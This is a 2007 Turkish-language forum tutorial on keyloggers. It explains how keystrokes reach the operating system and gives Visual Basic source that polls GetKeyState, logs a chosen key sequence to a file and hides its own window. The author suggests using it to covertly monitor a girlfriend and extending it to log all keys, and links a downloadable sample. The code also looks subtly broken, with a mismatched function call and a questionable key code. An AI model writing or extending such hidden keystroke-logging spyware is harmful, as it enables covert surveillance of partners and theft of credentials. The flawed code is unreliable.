------------------------------------------------------------------------------------------------- # Konu : Keyloggerlar Tarih : 23/04/2007 Saat : 08:24 Yazar : Ibrahim BALIÇ # ------------------------------------------------------------------------------------------------- İçerik : 1.Giriş 2.Key Log Mantığı 3.Keylogger (örnek) 4.Çıkış ================================================================================================= [1.Giriş] ''''''''' ------------------------------------------------------------------------------------------------- Keylogger Ingilizce, Key Logger Kelimelerinden Oluşur, Türkçe Karşılığı Tuş Kaydedicidir. Bu Konuda Sizlere Keylogger'ları Anlatacağım. Keyloggerları Tanıdıktan Sonra Ufak Bir Uygulamalı Olarak Örnek bir Keylogger Geliştireceğiz.. [2.Key Log Mantığı] ''''''''''''''''' ------------------------------------------------------------------------------------------------- Keyloggerlara Direk Olarak Girmeden Önce Bilmeniz Gereken Şeyin Sistem Mantığı Olduğunuve Kavramanız Gerektiğini Düşünüyorum. Bu Yüzden Kısa Olmak Şartı İle Biraz Göz Atalım.. Işletim Sistemi Üzerindeki Herşeyi Dışarıdan Komutlarla Yönetiyoruz... Şuan Hazırladığım Bu Konu yuda Klavyemdeki Tuşlara Basarak Metin Belgesi İçerisine Aktarıyorum , Fakat Olay Bundan İbaret değil, Ben Klavyeme, İşaretli Tuşa Basarak Bir Komut Yolluyorum,Klavyem Bu Komutu Bilgisayarımın Kasasına, AnaKartıma ( mainboard )'ima Gönderiyor, Main Board Bunu Veri Yolları ( DataBus ) 'ile Işlemcime Taşıyor,Ram'e Yazıyor Derken İşletim Sistemime Ulaşıyor,Ve İşletim Sıstemim Tarafından Belirlenmiş, Proses(calişir durumdaki program) Üzerine İşleniyor... Yani Burada Anlamanız Gereke n Olay Basmış Olduğumuz Bir Tuş Ana Olarak 4,5 İşlemden Gecerek Ekrana Taşınıyor... Bu Işlemlerden Gecerken,Gönderilen Mesajlar İncelenecek Proses'in Yanı Sıra Farklı Bir Proses Ta rafındanda Dinlenebilir/Kaydedilebilir.Bu Kaydedicilere Dinleyicilere Keylogger Diyoruz.Yani Tuş Kaydedici...Şimdi Ufak Bir Örnek İle Bu Bilgiyi Pekiştirelim: Microsoft İşletim Sistemi Üzerinde, Tuş Durumunu Inceleyen Fonksiyonların Listesine MSDN'den Bak abilirsiniz. Ben Burada Secimimi GetKeyState'den Yana Secip, Sizede Secim Hakkı Olarak 2 Fonksi yon Sunuyorum, Kuracağım Fonksiyon İcerisinde İkisinden Birini Kullanabilirsiniz... _________________________ | |__--> GetAsyncKeyState | --> GetKeyState |_________________________ [3.Keylogger (örnek)] ''''''''''''''''''''' ------------------------------------------------------------------------------------------------- Visual Basic Ile Bu Fonksyionlardan Birini Kullanarak Tuş Kaydetmeyi Inceliyelim.Ben Burada 3 Ö zel Karakteri Bulup Kaydetmesi İçin Bir Araç Yazacağım.Eğer Bu 3 Özel Karaktere Ard Ard'a Baslı rsa Benim Tuş Kaydedicim Bunu Not Edecek :).. Ben Burada Karakter Olarak "i","b","o" Harflerini secim Siz Geliştirirken Bunu Değiştirebilir Veya Tüm Tuşlar İÇin Uyarliyabilirsiniz.. VisualBasic Project - > Tsm KeyLog Ornegi ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ========================================================================================= Private Declare Function GetKeyState Lib "user32" (ByVal vKey As Long) As Integer Const karakter1 = 222 ' i karakterinin keykodu Const karakter2 = 66 ' b karakterinin keykodu Const karakter3 = 79 ' o karakterinin keykodu Dim say As Long ' islem basamaklarini hafizada tutmak icin degisken. Private Sub Timer1_Timer() ' Eger Basilan Tus Karakter Bir ise islemi'1 Yap If GetKeyState(karakter1) < 0 Then say = 1 ' Eger islem 1 ve basilan karakter 2 ise Islemi 2 Yap If say = 1 And GetKeyState(karakter2) < 0 Then say = 2 ' Eger islem 2 ve basilan karakter 3 ise Kayit Yap If say = 2 And GetKeyState(karakter3) < 0 Then call KayitEt() End Sub Private Function KayitEt(ByVal kayitedilecek As String) Dim OkunanSatir As String 'Onceki Kayitlari Okumak İcin Oluşturdugumuz Fonksyiondaki Degeri Degiskene Atadık. OkunanSatir = OncekileriOku 'Bir Onceki Islem Bitene Kadar Beklemesini Belirttik DoEvents 'Islem Bittikten Sonra Gunluk.txt Dosyamızı Actık Open "c:\gunluk.txt" For Output As #1 'Ilk Satıra Toplu Olarak Oncekileri Atadık. Print #1, OkunanSatir 'Daha Sonra Bizim Yazmak Istediğimiz Günlüğü Yazdık Print #1, "Bu Kullanıcı Su Saat ve Tarih'te : " & Time & " / " & Date & " ibo yazdi." 'Satırlar Karışmasın Diye Cizgi Cektik Print #1, "-------------------------------------------------------------------" 'Dosyayı Kapattık. Close #1 End Function Private Function OncekileriOku() As String Dim Satir As String Dim Hafiza As String 'Dosyamızı Actık. Open "c:\gunluk.txt" For Input As #1 'Son Satır Olana Kadar Kosul Kostuk Do Until EOF(1) 'Satir'i Okuduk Line Input #1, Satir 'Okudugumuz Satırı Degıskenımıze Kendiyle Birlikte Atadık Hafiza = Hafiza & Satir & vbCrLf 'Kosul Bitene Kadar Devam... Loop 'Dosyamızı Kapadık Close #1 'Hafizadaki Bilgiyi String Degerdeki Fonksyiona Adadik. OncekileriOku = Hafiza End Function Private Sub Form_Load() Dim Dosya 'Dosyamızın Var Olup Olmadığını Kontrol Ediyoruz Dosya = Dir("c:\gunluk.txt") 'Geri Donen Değer Boşsa ( dosya yoksa geri donecek değer boştur ) If Dosya = "" Then 'Yeni Bir Dosya Yaratıyoruz. Open "c:\gunluk.txt" For Output As #1 'İçine Boş bişi Yazıp." Print #1, "" 'Dosyayı Kapatıyoruz. Close #1 End If 'Kendini Gizledi me.hide End Sub ========================================================================================= ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Kodlar Arasında Gerekli Aciklamayı Yaptım, Tek Yapmanız Gereken Projenize Bir Timer Ekley ip, Projeyi Çalıştırmak, Çalıştıgı Sürece Bastığınız Tuşlar Arasında i + b + o Karakterlerini ar ayacaktır... Burada Kendi Ismınızı Yapıp Kız Arkadaşınız Bilgisayar Başında Oturdugu Sürede Kac Kere Ismınızı Kullandiğini Öğrenebilirsiniz... veya Tüm Tuşların Kayıtlarını Tutup, Günlükler Ha linde Takip Yapabilirsiniz.. Buradaki GetKeyState Fonksiyonu Yerine GetAsyncKeyState Fonksiyonuda Kullanabilirsiniz.Aynı İşle mi Gercekleştirecektir. [4.Çıkış] ''''''''' ------------------------------------------------------------------------------------------------- Tuş Kaydedicilerin Hiçbir Amaçla İyi Olarak Kullanildiği Biryer Olamaz. Genel Anlamda Kul lanıcıların Kişisel Haklarına Tecavüz Etmek Amacli Kullanılırlar... Tuş Kaydediciler (keylogger) cc(credi card) Bilgilerini Calmadan, Eposta Hesaplarının Bilgilerini Almaya Kadar Birçok Konudaa Kullanılmaktadır. Sisteminiz Üzerinde Calişan Bir Keylogger ( heleki online bildirisi olan ) 'la Başınız Çok Ağrıyabilir... Örnek Uygulama İçin Şu Adrese Göz Atın: www.turksecuritymaster.com/Security/Turkish/Dersler/uygulamalar/Genel/Keylogger/TSMKeyloggerlar.rar ================================================================================================= ######## BİTİŞ ######## ---------------------------------------------------------------------------------------------- Bu Ders Ibrahim BALIÇ Tarafından www.turksecuritymaster.com Kullanıcıları İçin Hazırlanmıştır. ======================== Ibrahim BALIÇ TSM Security Programmer. ========================